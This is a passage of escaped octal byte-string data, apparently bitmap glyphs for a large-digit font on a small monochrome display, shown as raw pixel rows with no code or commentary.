\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\370\\370\\360\"\n  \"\\360`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\77\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\17\\37\\37\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\377\\177\\77\\37\\37\\17\\17\\37\\37\\77\\377\\377\\376\\374\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\377\\377\\77\\377\\377\\377\\377\"\n  \"\\370\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\200\\340\\360\\374\\376\\177\\77\\37\\7\\3\\1\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\7\\177\\377\\377\\377\\377\\377\\374\\370\\376\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\"\n  \"\\377\\7\\0\\0\\0\\0\\3\\17\\37\\77\\377\\377\\377\\377\\376\\370\\360\\360\\340\\340\\340\\340\\360\\360\\374\\376\\377\\377\\177\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0p\\370\\370\\374\\374~~\\177\\177\\77\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0`\\360\\370\\374\\376\\377\\377\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\376\\374\\360\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\377\"\n  \"\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\376\\377\\377\\177\\77\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\377\\377\\377\\357\\347\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\360\\360\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34>~\\377\\177\\77\\77\\37\\37\\17\\17\\17\\37\\37\\37\\77\\77\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\177\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0>>>>>>\\77\\177\\177\\377\\377\\377\\377\\377\\363\\341\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\207\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\0\\0 x\\374\\376\\377\\377\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\377\\377\\77\\37\\7\\3\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0|\\177\\177\\177\\177\\177\\177\\177~~~~~~~~~~\\377\\377\\377\\377\\377\\377\\377~~~\"\n  \"~~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\36\\37\\77\\77\\177\\77\\37\\17\\7\\7\\7\\3\\3\\3\\3\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\"\n  \"\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\10\\30<~\\377\\377\\377\\376\\370\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\377\\377\\177\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\177>\"\n  \"\\36\\14\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\203\\301\\300\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\37\\17\\17\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\"\n  \"\\370\\360\\200\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\1\\17\\37\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\217\\377\\377\\377\\377\\377\\377\\177\\37\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\177\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\37\\37\\37\\77\\377\\377\\377\\376\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\360\\300\\200\\200\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\77\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\200\\300\\341\\363\\367\\377\\377\\377\\177\\77\\77>>~\\177\\377\\377\\377\\377\\367\\343\\341\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\374\\377\\377\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\"\n  \"\\376\\370\\0\\0\\0\\7\\37\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\177\\77\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\377\\376\\374\\370\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\0\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\361\\377\\377\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\0\\0\\340\\360\\370\\374\\374\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\177\\77\\17\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\77\\177\\177\\177\\177\\77\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\370\\370\\370\\370\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\377\\377\\377\\377\\377\\377\\177\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<>\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\"\n  \"\\370\\374\\374\\376\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370\\374\\374\\376\\376\\177\\177\\77\\77\\37\\37\\17\\17\\7\\7\\3\"\n  \"\\3\\1\\1\\0~\\177\\377\\377\\377\\377\\377\\377\\367\\347\\343\\303\\201\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\37\\37\\77\\77\\177\\177\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\17\\37\\77\\77\"\n  \"\\177\\177\\377\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\17\\17\\37\\37\\77\\77\\177\\177\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\300\\300\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\201\\303\\303\\347\\347\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\177~\\0\\0\\200\\200\\300\\300\\340\\340\\360\\360\\370\\370\\374\\376\\376\\377\\177\\177\\77\\37\\37\\17\\17\\7\\7\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\377\\377\\177\\77\\77\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\177\\77\\37\\17\\7\\7\\7\\3\\3\\3\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\377\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\377\\377\\177\\77\\37\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\37\\37\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\17\\37\\37\\37\\77\\77\\177\\377\\376\\374\"\n  \"\\370\\340\\300\\0\\370\\377\\377\\377\\377\\177\\17\\3\\1\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\375\\377\\377\"\n  \"\\377\\377\\377\\374\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\217\\3\\1\\1\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\377\\377\\377\\377\\376\\340\\200\\0\\0\\1\\7\\37\\77\\77\\177\\177\\376\\376\\376\\374\\374\\376~\\177\\77\\177\\177\"\n  \"\\177\\177\\177\\177\\0\\1\\3\\17\\37\\77\\177\\377\\377\\376\\374\\370\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  